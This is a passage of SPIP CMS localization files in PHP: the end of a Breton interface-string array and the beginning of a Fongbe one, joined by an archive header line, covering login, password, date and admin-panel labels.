'info_travaux_texte' => 'N’eo ket bet kefluniet al lec’hienn evit c’hoazh. Distroit a-benn nebeut...',
'info_travaux_titre' => 'Emeur o sevel al lec’hienn',
'info_trop_resultat' => 'Re a zisoc’hoù evit "@cherche_mot@"; resisait termenoù hoc’h enklask mar plij.',
'info_utilisation_messagerie_interne' => 'Ober a rit gant postelerezh diabarzh al lec’hienn-mañ.',
'info_valider_lien' => 'kadarnaat al liamm-mañ',
'info_verifier_image' => 'gwiriit eo bet treuzkaset mat ho skeudennoù.',
'info_vignette_defaut' => 'Skeudennig dre ziouer',
'info_vignette_personnalisee' => 'skeudennig personelaet',
'info_visite' => 'gweladenn :',
'info_vos_rendez_vous' => 'Hoc’h emgavioù da zont',
'infos_vos_pense_bete' => 'Ho notennigoù-eñvor', # MODIF
// L
'lien_afficher_icones_seuls' => 'Diskouez ar skeudennigoù hepken',
'lien_afficher_texte_icones' => 'Diskouez ar skeudennigoù hag an destenn',
'lien_afficher_texte_seul' => 'Diskouez an destenn hepken',
'lien_liberer' => 'dieubiñ',
'lien_liberer_tous' => 'dieubiñ ar pennadoù-mañ', # MODIF
'lien_nouvea_pense_bete' => 'NOTENNIG-EÑVOR NEVEZ',
'lien_nouveau_message' => 'KEMENNADENN NEVEZ',
'lien_nouvelle_annonce' => 'KEMENN NEVEZ',
'lien_petitions' => 'SINADEG',
'lien_popularite' => 'brud : @popularite@%',
'lien_racine_site' => 'GWRIZIENN AL LEC’HIENN',
'lien_reessayer' => 'klask en-dro',
'lien_repondre_message' => 'Repont d’ar gemennadenn-mañ',
'lien_supprimer' => 'diverkañ',
'lien_tout_afficher' => 'Diskouez pep tra',
'lien_visite_site' => 'gweladenniñ al lec’hienn-mañ',
'lien_visites' => '@visites@ gweladenn',
'lien_voir_auteur' => 'Gwelet ar skridaozer-mañ',
'ligne' => 'Linenn',
'login' => 'Kevreañ',
'login_acces_prive' => 'tizhout al lodenn brevez',
'login_autre_identifiant' => 'Kevreañ gant ur c’hod anaout all',
'login_cookie_accepte' => 'Grit ar pezh zo ezhomm evit ma vint degemeret gant ho merdeer, evit al lec’hienn-mañ d’an nebeutañ',
'login_cookie_oblige' => 'Evit kevreañ en un doare sur war al lec’hienn-mañ e rankit degemer an toupinoù.',
'login_deconnexion_ok' => 'Digevreet oc’h.',
'login_erreur_pass' => 'Fazi ger-tremen.',
'login_espace_prive' => 'lodenn brevez',
'login_identifiant_inconnu' => 'N’eo ket anavezet ar c’hoad anaout « @login@ ».',
'login_login' => 'Kod kevreañ :',
'login_login2' => 'Kod kevreañ (kod anaout evit kevreañ ouzh al lec’hienn) :', # MODIF
'login_login_pass_incorrect' => '(direizh eo ar c’hod kevreañ pe ar ger-tremen)',
'login_motpasseoublie' => 'ankouaet ho ker-tremen ganeoc’h ?',
'login_non_securise' => 'Diwallit, n’eo ket suraet ar furmskrid-mañ.
Ma ne fell ket deoc’h e c’hellfe ho ker-tremen bezañ pesketet
war ar rouedad, gweredekait Javascript en ho merdeer ha',
'login_nouvelle_tentative' => 'Klask en-dro',
'login_par_ici' => 'Enrollet oc’h...dre amañ...',
'login_pass2' => 'Ger-tremen :',
'login_preferez_refuser' => '<b>Ma kavit gwell nac’hañ an toupinoù</b>, e c’hellit ober gant un doare all da gevreañ, met n’eo ket ken asur :',
'login_recharger' => 'adkargañ ar bajenn-mañ',
'login_rester_identifie' => 'Chom anavezet un nebeud devezhioù',
'login_retour_public' => 'Distreiñ d’al lodenn foran',
'login_retour_site' => 'Distreiñ d’al lodenn foran',
'login_retoursitepublic' => 'distreiñ d’al lodenn foran',
'login_sans_cookiie' => 'Kevreañ hep toupinoù',
'login_sinscrire' => 'en em enskrivañ',
'login_test_navigateur' => 'taol-arnod merdeer/adkevreañ',
'login_verifiez_navigateur' => '(Gwiriit memes tra n’eo ket bet memoret ho ker-tremen gant ar merdeer...)',
// M
'masquer_colonne' => 'Kuzhat ar bann-mañ',
'masquer_trad' => 'kuzhat an troidigezhioù',
'module_fichiers_langues' => 'Restroù yezh',
// N
'navigateur_pas_redirige' => 'Klikit amañ evit kederc’hel ma ne vez ket adheñchet ho merdeer.',
'numero' => 'Niverenn',
// O
'occurence' => 'Kavadenn',
'onglet_affacer_base' => 'Diverkañ an diaz',
'onglet_auteur' => 'Ar skridaozer',
'onglet_contenu_site' => 'Endalc’had al lec’hienn',
'onglet_evolution_visite_mod' => 'Emdroadur',
'onglet_fonctions_avances' => 'Arc’hwelioù kemplezh',
'onglet_informations_personnelles' => 'Titouroù hiniennel',
'onglet_interactivite' => 'Etreobererezh',
'onglet_messagerie' => 'Postelerezh',
'onglet_repartition_rubrique' => 'Dasparzh diouzh ar rummad',
'onglet_save_restaur_base' => 'Saveteiñ/Assevel an diaz',
'onglet_vider_cache' => 'Goullonderiñ ar grubuilh',
// P
'pass_choix_pass' => 'Dibabit ho ker-tremen nevez :',
'pass_erreur' => 'Fazi',
'pass_erreur_acces_refuse' => '<b>Fazi :</b> n’hoc’h ket aotreet da zont war al lec’hienn-mañ ken.',
'pass_erreur_code_inconnu' => '<b>Fazi :</b> ne glot ar c’hod-mañ gant gweladenner ebet a c’hall mont war al lec’hienn-mañ.',
'pass_erreur_non_enregistre' => '<b>Fazi :</b>n’eo ket enrollet ar chomlec’h <tt>@email_oubli@</tt> war al lec’hienn-mañ.',
'pass_erreur_non_valide' => '<b>Fazi :</b> n’eo ket reizh ar postel <tt>@email_oubli@</tt> !',
'pass_erreur_probleme_technique' => '<b>Fazi :</b> abalamout d’u gudenn deknikel, ne c’hell ket ar postel bezañ kaset.',
'pass_espace_prive_bla' => 'Dav eo bezañ enskrivet a-raok gallout tizhout lodenn brevez al lec’hienn.
P aviot enrollet e c’hellot lenn ar pennadoù meeur o skrivañ, kinnig pennadoù, ha kemer perzh er foromoù.',
'pass_forum_bla' => 'Goulennet hoc’h eus gallout kemer perzh war ur forom n’hall nemet an implijerien enrollet skrivañ warnañ.',
'pass_indiquez_cidessous' => 'Skrivit amañ dindan ar postel a oa bet implijet ganeoc’h evit en em enrollañ.
Ur postel a vo kaset deoc’h ennañ an titouroù ret evit gallout dont en-dro war al lec’hienn.',
'pass_mail_passcookie' => '(ur gemennadenn emgefre eo homañ)
Evit gallout distreiñ war al lec’hienn
@nom_site_spip@ (@adresse_site@)
Kit d’ar chomlec’h-mañ :
@sendcookie@
Neuze e c’hellot merkañ ur ger-tremen nevez ha
kevreañ en-dro ouzh al lec’hienn.
', # Connecter : gwelloc'h eo ober gant kevreañ zo muioc'h en implij gant an dud. Kevreañ ouzh ar genrouedad hag all.
'pass_mot_oublie' => 'Ankouaet ar ger-tremen',
'pass_nouveau_enregistre' => 'Enrollet eo bet ho ker-tremen nevez.',
'pass_nouveau_pass' => 'Ger-tremen nevez',
'pass_ok' => 'MAT EO',
'pass_oubli_mot' => 'Ankouaet ar ger-tremen',
'pass_quitter_fenetre' => 'Kuitaat ar prenestr-mañ',
'pass_rappel_login' => 'Dalc’hit soñj : « @login@ » eo ho anv-tremen (login).',
'pass_recevoir_mail' => 'Ur postel a vo kaset deoc’h, ennañ an titouroù ret da c’hallout tizhout al lec’hienn en-dro.',
'pass_retour_public' => 'Distreiñ d’al lodenn foran',
'pass_rien_a_faire_ici' => 'Netra d’ober amañ.',
'pass_vousinscrire' => 'En em enskrivañ war al lec’hienn-mañ',
'precedent' => 'kent',
'previsualisation' => 'Rakwelet',
'previsualiser' => 'Rakwelet',
// R
'retour' => 'Distreiñ',
// S
'spip_conforme_dtd' => 'SPIP a gav dezhañ e klot an teul-mañ gant e DOCTYPE :',
'squelette' => 'framm',
'squelette_inclus_ligne' => 'framm e-barzh, linenn',
'squelette_ligne' => 'framm, linenn',
'stats_visites_et_popularite' => '@visites@ gweladenn ; brud; : @popularite@',
'suivant' => 'war-lerc’h',
// T
'taille_ko' => '@taille@ ke',
'taille_mo' => '@taille@ Me',
'taille_octets' => '@taille@ eizhbit',
'texte_actualite_site_1' => 'Pa viot boas ouzh an etrefas e c’hellot klikañ war «',
'texte_actualite_site_2' => 'etrefas klok',
'texte_actualite_site_3' => '» evit sevijoù ouzhpenn.',
'texte_creation_automatique_vignette' => 'Ober a reer gant ar sevel skeudennigoù adal skeudennoù. Ma stailhi skeudennoù er furmad(où) @gd_formats@, adal ar furmskrid-mañ e vo staget ur skeudennig @taille_preview@ piksel d’ar muiañ outo.',
'texte_documents_associes' => 'Stag eo an teulioù-mañ ouzh ar pennad,
met n’int ket bet ensoc’het diouzhtu ennañ
Diouzh mod pajennaozañ al lec’hienn e c’hellint bezañ diskouezet dindan stumm restroù stag.',
'texte_erreur_mise_niveau_base' => 'Ur fazi zo bet gant an diaz titouroù en ur hizivaat.
N’eo ket tremenet ar skeudenn <b>@fichier@</b> (pennad @id_article@).
Notennit an daveenn-se, klaksit hizivaat en-dro,
ha gwiriit e vez diskouezet ar skeudennoù er pennadoù.',
'texte_erreur_visiteur' => 'Klasket hoc’h eus tizhout al lodenn brevez gant un anv implijer direizh.',
'texte_inc_auth_1' => 'Enrollet oc’h dindan al ger kevreañ
<b>@auth_login@</b>, met n’eus ket anezhañ (ken) en diaz titouroù.
Klaskit ',
'texte_inc_auth_2' => 'adkevreañ',
'texte_inc_auth_3' => ', goude bezañ kuitaet hag adloc’het ho merdeer.',
'texte_inc_config' => '>Ul levezon vras o deus kemmoù ar bajenn-mañ war mont en-dro hollek al lec’hienn.
Aliet oc’h da chom hep kemmañ tra ebet e-keit ha n’oc’h ket boas ouzh SPIP.
<br /><br /><b>Aliet oc’h da lezel webmestr pennañ al lec’hienn ober war-dro ar pajennoù-mañ.</b>',
'texte_inc_meta_1' => 'Ur fazi zo bet en ur skrivañ war ar restr <code>@fichier@</code>. Dre ma’z oc’h merour al lec’hienn e rankit ',
'texte_inc_meta_2' => 'Gwiriañ ar gwirioù da skrivañ ',
'texte_inc_meta_3' => 'war ar c’havlec’h <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'o skridaozañ',
'texte_statut_poubelle' => 'er pod-lastez',
'texte_statut_propose_evaluation' => 'kinniget ouzh an amprou',
'texte_statut_publie' => 'embannet',
'texte_statut_refuse' => 'nac’het',
'titre_ajouter_mot_cle' => 'OUZHPENNAÑ UR GER-STUR :',
'titre_cadre_raccourcis' => 'BERRADENNOÙ :',
'titre_changer_couleur_interface' => 'Kemm liv an etrefas',
'titre_image_admin_article' => 'Gallout a rit merañ ar pennad-mañ',
'titre_image_administrateur' => 'Merour',
'titre_image_aide' => 'Skoazell diwar-benn an elfenn-mañ',
'titre_image_auteur_supprime' => 'Skridaozer bet diverket',
'titre_image_redacteur' => 'Skridaozer hep aotre moned',
'titre_image_redacteur_02' => 'Skridaozer',
'titre_image_visiteur' => 'Gweladenner',
'titre_joindre_document' => 'STAGAÑ UN TEUL',
'titre_mots_cles' => 'GERIOÙ-STUR',
'titre_probleme_technique' => 'Diwallit : abalamour d’ur gudenn deknikel (servijer SQL), n’eus ket tu da dizhout al lodenn-mañ eus al lec’hienn. Trugarez evit ho komprenezon.',
'titre_publier_document' => 'EMBANN UN TEUL ER RUBRIKENN-MAÑ',
'titre_signatures_attente' => 'Sinadurioù a c’hortoz bezañ kadarnaet',
'titre_signatures_confirmees' => 'Sinadurioù bet gwiriekaet',
'titre_statistiques' => 'Stadegoù al lec’hienn', # Stadegoù, termen skoueriekaet gant TermBret evit Statistiques.
'titre_titre_document' => 'Titl an teul :',
'todo' => 'da zont',
'trad_reference' => '(pennad orin)', # MODIF
// Z
'zbug_balise_b_aval' => ' : balizenn B en ardraoñ',
'zbug_balise_inexistante' => 'Disklêriet-fall eo ar valizenn @balise@ evit @from@',
'zbug_balise_sans_argument' => 'Un arguzenn a vank er valizenn @balise@',
'zbug_boucle' => 'bouklenn',
'zbug_boucle_recursive_undef' => 'N’eo ket bet termenet ar vouklenn-mañ : @nom@',
'zbug_calcul' => 'jediñ',
'zbug_champ_hors_boucle' => 'Maezienn @champ@ e diavaez ar vouklenn',
'zbug_champ_hors_motif' => 'Maezienn @champ@ er-maez kendestenn @motif@',
'zbug_code' => 'kod',
'zbug_critere_inconnu' => 'Dezverk @critere@ dianav',
'zbug_distant_interdit' => 'N’eo ket posupl war un diaz roadoù diavaez',
'zbug_doublon_table_sans_cle_primaire' => 'Doublennoù war un diaz hep alc’hwez kentañ atomek',
'zbug_doublon_table_sans_index' => 'Doublenn war un diaz hep meneger',
'zbug_erreur_boucle_double' => 'Bouklenn @id@ bet termenet div wech',
'zbug_erreur_boucle_fermant' => 'Chomet eo digor ar vouklenn @id@',
'zbug_erreur_boucle_syntaxe' => 'Direizh eo ereadurezh ar vouklenn @id@',
'zbug_erreur_compilation' => 'Fazi kempunañ',
'zbug_erreur_execution_page' => 'Fazi erounit',
'zbug_erreur_filtre' => 'Sil @filtre@ didermenet',
'zbug_erreur_meme_parent' => 'n’hall an dezverk {meme_parent} bezañ implijet nemet war ar bouklennoù (FOROMOÙ) pe (RUBRIKENNOÙ)',
'zbug_erreur_squelette' => 'Fazi(où) er framm',
'zbug_hors_compilation' => 'Er-maez kempunad',
'zbug_info_erreur_squelette' => 'Fazi war al lec’hienn',
'zbug_inversion_ordre_inexistant' => 'Eilpennañ un urzh n’eus ket anezhañ',
'zbug_pagination_sans_critere' => 'N’eus dezverk ebet d’ar valizenn #PAJENNAOUIÑ, pe neuze eo implijet en ur vouken a dro warni hec’h-unan',
'zbug_parametres_inclus_incorrects' => 'Direizh eo an arventenn ensoc’hañ @param@',
'zbug_profile' => 'Amzer jediñ : @time@',
'zbug_resultat' => 'disoc’h',
'zbug_serveur_indefini' => 'Servijer SQL didermenet',
'zbug_statistiques' => 'Stadegoù ar goulennoù SQL urzhiet diouzh o fad',
'zbug_table_inconnue' => 'Taolenn SQL « @table@ » dianav',
'zxml_connus_attributs' => 'perzhioù anavezet',
'zxml_de' => 'da',
'zxml_inconnu_attribut' => 'perzh dianav',
'zxml_inconnu_balise' => 'balizenn dianav',
'zxml_inconnu_entite' => 'elfenn dianav',
'zxml_inconnu_id' => 'ID dianav',
'zxml_mais_de' => 'met eus',
'zxml_non_conforme' => 'ne glot ket gant an abeg',
'zxml_non_fils' => 'n’eo ket ur mab da',
'zxml_nonvide_balise' => 'balizenn ket goullo',
'zxml_obligatoire_attribut' => 'perzh rediet, met na gaver ket e',
'zxml_succession_fils_incorrecte' => 'heuliad ar vibien direizh',
'zxml_survoler' => 'tremen buan da welet ar re zo reizh',
'zxml_valeur_attribut' => 'talvoudegezh ar perzh',
'zxml_vide_balise' => 'balizenn c’houllo',
'zxml_vu' => 'bet gwelet a-raok'
);
?>
spip_fon.php 0000666 00000073775 15252547432 0007132 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=fon
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'Hɔnùwá',
'0_langue' => 'Fongbe [fon]',
'0_liste' => 'spip-dev@rezo.net',
'0_mainteneur' => 'spip-dev@rezo.net',
// A
'access_interface_graphique' => 'Lɛkɔ yì atɛ bi jí',
'access_mode_texte' => 'ɖè tɛmɛ nu wiwlantɔn xlɛ do atɛ ɔ ji ',
'admin_debug' => 'Mi bló ɖó',
'admin_modifier_article' => 'Hɔntogbó',
'admin_modifier_auteur' => 'ɖiɔ nyɔwlantɔ é lɔ',
'admin_modifier_breve' => 'ɖiɔ xogbè kléwun é lɔ',
'admin_modifier_mot' => 'ɖiɔ gbèta é lɔ',
'admin_modifier_rubrique' => 'ɖiɔ akpa é lɔ',
'admin_recalculer' => 'mi lɛ vɔ akɔnta wekpa tɔn blo',
'alerte_maj_impossible' => 'Jijladó SQL tɔn soyí ɖìdè ɖévomɛ gló, e siwu nyí ɖɔ acɛ e na yí do ɖiɔ titomɛ ɔ wɛ zɔn. Mi tɛnkpɔ bó so alɔ xwétɔ́ mi tɔn',
'analyse_xml' => 'Ni kpon XML tri tri ton',
'articles_recents' => 'wekpa gùdogùdotɔn lɛ̂ ',
'avis_archive_incorrect' => 'gbètakin xóxó é lɔ é nyi gbètakin supipu tɔn a',
'avis_archive_invalide' => 'gbètakɛn xoxo ɔ fɛwu a',
'avis_attention' => 'Mi cɔ mi ɖé',
'avis_champ_incorrect_type_objet' => 'nyikɔmasɔgbe@name@ nu kwin alɔkpa@type@',
'avis_colonne_inexistante' => 'Akpa a tin a ',
'avis_erreur' => 'afɔkiklɛn : mi kpɔn do',
'avis_erreur_connexion' => 'afɔkiklɛn do cacadomɛ',
'avis_erreur_cookie' => '',
'avis_erreur_fonction_contexte' => 'afɔkiklɛn do titomɛ. ɖidè é lɔ do na tɔn do akpa é lɔ mɛ a', # MODIF
'avis_erreur_mysql' => 'afɔkiklɛn SQL tɔn',
'avis_erreur_sauvegarde' => 'afɔkiklɛn do wiwlihɛn ɔ mɛ(@type@ @id_objet@) !',
// B
'barre_a_accent_grave' => 'Mi zé wèkwin A bo xwè gbakun yi do na',
'barre_aide' => 'Mi zan wékwin lɛ̂ bo ná ɖo blo titomɛ mitɔn ɖo',
'barre_e_accent_aigu' => 'mi ze wékwin asi E démɛ',
'barre_eo' => 'mi ze wékwin asi E ɖo l’o',
'barre_eo_maj' => 'mi ze wékwin asi E ɖo l’o daxo ɔ mɛ', # MODIF
'barre_euro' => 'mi ze wékwin é lɔ € ɖémɛ ',
'barre_gras' => 'mi ze ɖo kpinkpɛnmɛ',
'barre_guillemets' => 'mi ze « ɖiɖɔtɔ » sɔ lilɛ ɖo',
'barre_guillemets_simples' => 'mi ze « ɖiɖɔtɔ » sɔ lilɛ ɖo akpa wègɔ̂ ji',
'barre_intertitre' => 'mi lilɛ ɖo {{{gbèta tɛntin}}}',
'barre_italic' => 'mi gban wiwlan kpɛɖé',
'barre_lien' => 'mi lilɛ ɖo [lien hypertexte->http://...]',
'barre_lien_input' => 'Mi ɖo gesi nu gblogbloji mi tɔn ( mi siwu doxlɛ atɛ ɖo http://www.gblogblojice/com alo mi na xlɛ wékpa ɖokpo.',
'barre_note' => 'mi lilɛ ɖo[[Note de bas de page]]',
'barre_quote' => 'Mi xlɛ wɛn ɖokpo',
'bouton_changer' => 'ɖyɔ̂',
'bouton_chercher' => 'Bà',
'bouton_choisir' => 'Cyán',
'bouton_download' => 'Télécharger', # MODIF
'bouton_radio_desactiver_messagerie_interne' => 'Mi jo wiwlanmɛ ɖo ',
'bouton_radio_envoi_annonces' => 'mi sɛ gbètàxojla do',
'bouton_radio_non_envoi_annonces' => 'mi sɛ xojla do wo ',
'bouton_radio_non_envoi_liste_nouveautes' => 'mi ma pklé xogbè yɔyɔ lɛ̂ do ',
'bouton_recharger_page' => 'mi lɛ vɔ wékpa e lɔ ze',
'bouton_telecharger' => 'ɖɔn',
'bouton_upload' => 'ɖɔn', # MODIF
'bouton_valider' => 'sɔ kɛn na',
// C
'cal_apresmidi' => 'Hwèlɛkɔ',
'cal_jour_entier' => 'Akán ɔ bí',
'cal_matin' => 'zânzan',
'cal_par_jour' => 'Tìtómɛ gbèɖókpó ɖókpó tɔn',
'cal_par_mois' => 'Tìtómɛ sùnɖókpó ɖókpó tɔn',
'cal_par_semaine' => 'Tìtómɛ vòdúngblámɛɖókpó ɖókpó tɔn',
'confirm_changer_statut' => 'vlɛ mī byɔ ɖɔ é mí ján ɖyɔ nǔ é lɔ. Mì ɖò bibà ɖɔ azɔ ná lɛ vɔ yì nù kɔn a ',
// D
'date_aujourdhui' => 'é gbé',
'date_avant_jc' => 'có hwɛ kpó J.C ná wá',
'date_dans' => 'dò@gbè sisɔmɛ@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@azán@ @ sùn nyíkɔ',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@azán@ @ sùn nyíkɔ',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'sɔ̄',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ à @heure@',
'date_fmt_jour_mois' => '@jour@ @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ @nommois@ @annee@',
'date_fmt_mois_annee' => '@ sùn nyíkɔ@xwè@',
'date_fmt_nomjour_date' => 'le @nomjour@ @date@',
'date_heures' => 'Gàn lɛ mɛ',
'date_hier' => 'Sɔ̄ è wá yí ɔ ',
'date_il_y_a' => 'il y a @delai@',
'date_jnum1' => 'Nùkɔn nùkɔn tɔn ɔ ',
'date_jnum10' => 'Wǒ',
'date_jnum11' => 'wô ɖòkpó',
'date_jnum12' => 'wěwé',
'date_jnum13' => 'wǎtɔn ',
'date_jnum14' => 'wɛnɛ',
'date_jnum15' => 'afɔtɔn ',
'date_jnum16' => 'afɔtɔn nùkún ɖókpó',
'date_jnum17' => 'afɔtɔn nùkún wè',
'date_jnum18' => 'afɔtɔn nùkún atɔn',
'date_jnum19' => 'afɔtɔn nùkún ɛnɛ',
'date_jnum2' => 'wè',
'date_jnum20' => 'kò',
'date_jnum21' => 'ko nùkún ɖókpó',
'date_jnum22' => 'ko nùkún wè',
'date_jnum23' => 'ko nùkún atɔn',
'date_jnum24' => 'ko nùkún nɛ',
'date_jnum25' => 'ko nùkún àtɔ̂n',
'date_jnum26' => 'ko nùkún àyzɛn ',
'date_jnum27' => 'ko nùkún tɛnwè',
'date_jnum28' => 'ko nùkún tántɔn',
'date_jnum29' => 'ko nùkún tɛnnɛ',
'date_jnum3' => 'Atɔn',
'date_jnum30' => 'gbàn',
'date_jnum31' => 'gbàn nùkún ɖókpó',
'date_jnum4' => 'ɛ̄nɛ',
'date_jnum5' => 'àtɔ̂n',
'date_jnum6' => 'àyízɛn ',
'date_jnum7' => 'tɛnwè',
'date_jnum8' => 'tántɔn',
'date_jnum9' => 'tɛnnɛ',
'date_jour_1' => 'vodunzangbè',
'date_jour_2' => 'tɛnigbè',
'date_jour_3' => 'tâtàgbè',
'date_jour_4' => 'azangagbè',
'date_jour_5' => 'nyɔnúzángbè',
'date_jour_6' => 'axózangbè',
'date_jour_7' => 'síɖígbè',
'date_jours' => 'azan lɛ̂',
'date_minutes' => 'cɛjúmɛ ',
'date_mois' => 'sùn',
'date_mois_1' => 'Alǔunsun',
'date_mois_10' => 'Kɔnyasun',
'date_mois_11' => 'Abɔxwísun',
'date_mois_12' => 'Wǒosun',
'date_mois_2' => 'Zofínkplɔsun',
'date_mois_3' => 'xwèjísun ',
'date_mois_4' => 'Lidósun',
'date_mois_5' => 'Nǔxwasun',
'date_mois_6' => 'Ayidósun',
'date_mois_7' => 'Liyasun',
'date_mois_8' => 'Avuvɔsun',
'date_mois_9' => 'Zǒsun',
'date_saison_1' => 'avìvɔ hwènú',
'date_saison_2' => 'plɛntân',
'date_saison_3' => 'hwèsívɔ hwènú',
'date_saison_4' => 'otɔmù',
'date_semaines' => 'Vodúngbláɖòkpómɛ ',
'dirs_commencer' => 'bó nú mī ná ɖó bɛ afɔ ɖó tè ji ɔ ',
'dirs_preliminaire' => 'bibɛmɛ ɔ : mī byɔ gbè hwɛ',
'dirs_probleme_droits' => 'Xó ɖò acɛ yíyí wú', # MODIF
'dirs_repertoires_absents' => 'Mī mɔ ɖìɖèmɛ é lɛ áE siwú nyí ɖɔ wèkwín ɖáxó kpódo kpɛvi yé mà wlan ganji à wɛ zɔnmī kpɔn ɖɔ wèkwín ɖáxó kpódo kpɛvi é lo ɖìɖèmɛ ɔ é sɔgbè kpó é xlɛ ànú é má nyí mɔ a mī lɛ ná nyikɔ FTP ɔ bó gɔn afɔ klɛnmī kò bló é nɛ fo ɔ', # MODIF
'dirs_repertoires_suivants' => 'yé siwú wlán nú ɖó ɖìɖèmɛ é lɔ lɛ ánú é ná ɖó kpɔn té ɔ, mī zé FTP bò ná Xó ɖò acɛ mɛɖókpó ɖókpó tɔn ɖó ɖìɖèmɛmī timɛ afɔ ɖìɖè ɔ ɖó ', # MODIF
'double_occurrence' => 'Double occurrence', # MODIF
// E
'envoi_via_le_site' => 'mī sɛ gbɔn gblògblójí ɔ jì',
// F
'form_deja_inscrit' => 'mī kò ná nyìkɔ ',
'form_email_non_valide' => 'e-mailù mī tɔn ɔ sɔ gbè á',
'form_forum_access_refuse' => 'mī sɔ sǐwu yì gblogblo é lɔ jí á',
'form_forum_bonjour' => 'mī fɔn án @nom@,',
'form_forum_email_deja_enregistre' => 'gesí é lɔ kó sɔ gbè, mī sǐwu zán cávì mī tɔn ',
'form_forum_identifiant_mail' => 'e-mailù ɖòkpó kó sɛ ɖéxlɛ mì tɔn ɖó',
'form_forum_identifiants' => 'ɖéxlɛ mì tɔn ',
'form_forum_indiquer_nom_email' => 'mī sɛ nyìkɔ mì tɔn kpòɖó e-mailù sɛ ɖó. mī ná sɛ ɖéxlɛ mì tɔn sɛ ɖó azɔn ɖòkpó gbɔn e-mailù jí',
'form_forum_login' => 'nyìkɔ',
'form_forum_message_auto' => 'é lɔ ɔ wɛn càcà wɛ',
'form_forum_pass' => 'cávì :',
'form_forum_probleme_mail' => 'Xó ɖò e-mailù ɔ wú : vlàvò ɔ ɖéxlɛ yì á',
'form_forum_voici1' => 'ɖéxlɛ mì tɔn lɛ mì byɔ gblogblojí @nyìkɔ_gblogblojí_supipu@ ‘’gesí_gblogblojí@', # MODIF
'form_forum_voici2' => 'ɖéxlɛ mì tɔn lɛ mì ná ɖó wl wèkpá ɖó gblogblojí @nyìkɔ_gblogblojí_supipu@ ‘’gesí_gblogblojí@', # MODIF
'form_indiquer_email' => 'mī kɛnklɛn bó ná gèsí kpó e-mailù kpó',
'form_indiquer_nom' => 'mī ná nyìkɔ mí tɔn ',
'form_indiquer_nom_site' => 'mī ná gblogblojí mí tɔn sín nyìkɔ ',
'form_pet_deja_enregistre' => 'mī kó wlí gblogblojí é lɔ hɛn ',
'form_pet_signature_pasprise' => 'mī kó yígbè nú àlɔɖówěmámɛ mī tɔn á',
'form_prop_confirmer_envoi' => 'mī kò sɛ ɖó hún, mī lɛ vɔ ɖɔ nú mí',
'form_prop_description' => 'ɖìɖèxlɛ/ xóvánkán',
'form_prop_enregistre' => 'Xógbè mī tɔn kó nyí wiwlíhɛntɔ, nú gblogblo ɔ jí sín gán lɛ sɔ kɛn ní ɔ, é ná tɔn tà ',
'form_prop_envoyer' => 'sɛ wɛn ɖòkpó ɖó',
'form_prop_indiquer_email' => 'bó na e-mailù ɖágbé',
'form_prop_indiquer_nom_site' => 'Mì gblogblo ɔ jí sín nyíkɔ.',
'form_prop_indiquer_sujet' => 'mì xlɛ xógbè ɔ ',
'form_prop_message_envoye' => 'wɛn ɔ yí',
'form_prop_non_enregistre' => 'E siwú wlí Xógbè mì tɔn hɛn á',
'form_prop_sujet' => 'Xógbè',
'form_prop_url_site' => 'nɔtɛn (URLU) gblogblojí ɔ tɔn', # MODIF
'forum_non_inscrit' => 'mì ná nyíkɔ , kàbí nɔtɛn, cávì lɛ nyɔ á.',
'forum_par_auteur' => '@nyɔwlántɔ ɖókpóɖókpó@',
'forum_titre_erreur' => 'mì klɛn àfɔ',
// I
'ical_texte_rss_articles' => 'Xótá « backend » wěkpblogblojí é lɔ tɔn ɖɔ nɔtɛn :',
'ical_texte_rss_articles2' => 'Mi hɛn ɔ mi síwú yí Xótá « backend » nú wěmà ákpáxwé gblogblojí ɔ tɔn:',
'ical_texte_rss_breves' => 'Xótá ɖé ɖè bó hɛn xó kléwún ɖé lɛ. Nú mi ɖɔ numɛló ákpáxwé ɔ tɔn, mi ná mɔ xògbè kléwún ákpáxwé énɛ ɔ tɔn.',
'icone_a_suivre' => 'Bɔɖéwú',
'icone_admin_site' => 'Gblogbojí sín tìtò',
'icone_agenda' => 'Wègbó',
'icone_aide_ligne' => 'àlɔdó',
'icone_articles' => 'wěkpá',
'icone_auteurs' => 'nyɔwlántɔ',
'icone_brouteur' => 'numɛkéjé càcà',
'icone_configuration_site' => 'Tìtòmɛ',
'icone_configurer_site' => 'Mi tò gblogblojí ɔ',
'icone_creer_nouvel_auteur' => 'Mi ɖè nyɔwlántɔ dévó tɔn',
'icone_creer_rubrique' => 'Mi ɖè àkpáxwé dévó tɔn',
'icone_creer_sous_rubrique' => 'Mi ɖè àkpáxwé dévó tɔn',
'icone_deconnecter' => 'E Gósín kànnú',
'icone_discussions' => 'Xókíjákìjà',
'icone_doc_rubrique' => 'Wěmà àkpáxwé',
'icone_ecrire_article' => 'Wlán wékpá dévó',
'icone_edition_site' => 'Wègbó',
'icone_gestion_langues' => 'tìtòmɛ gbè lɛ tɔn ',
'icone_informations_personnelles' => 'xógbè mi tɔn',
'icone_interface_complet' => 'àtɛ ɔ bí',
'icone_interface_simple' => 'yè ɖè xógbè kpò ɖò àtɛ ɔ jí',
'icone_maintenance_site' => 'Tìtòmɛ gblogblojí ɔ tɔn ',
'icone_messagerie_personnelle' => 'wɛngbáví mi tɔn',
'icone_repartition_debut' => 'mi sɔ ɖìɖèmɛ lɛ xlɛ sín bìbɛmɛ',
'icone_rubriques' => 'àkpáxwé',
'icone_sauver_site' => 'wlí gblogblojí ɔ hɛn',
'icone_site_entier' => 'gblogblojí ɔ bí',
'icone_sites_references' => 'gblogblojí yè tò',
'icone_statistiques' => 'àkɔŋtá gblogblojí ɔ tɔn ',
'icone_suivi_activite' => 'mi nɔ nùkɔn yìyì gblogblojí ɔ tɔn',
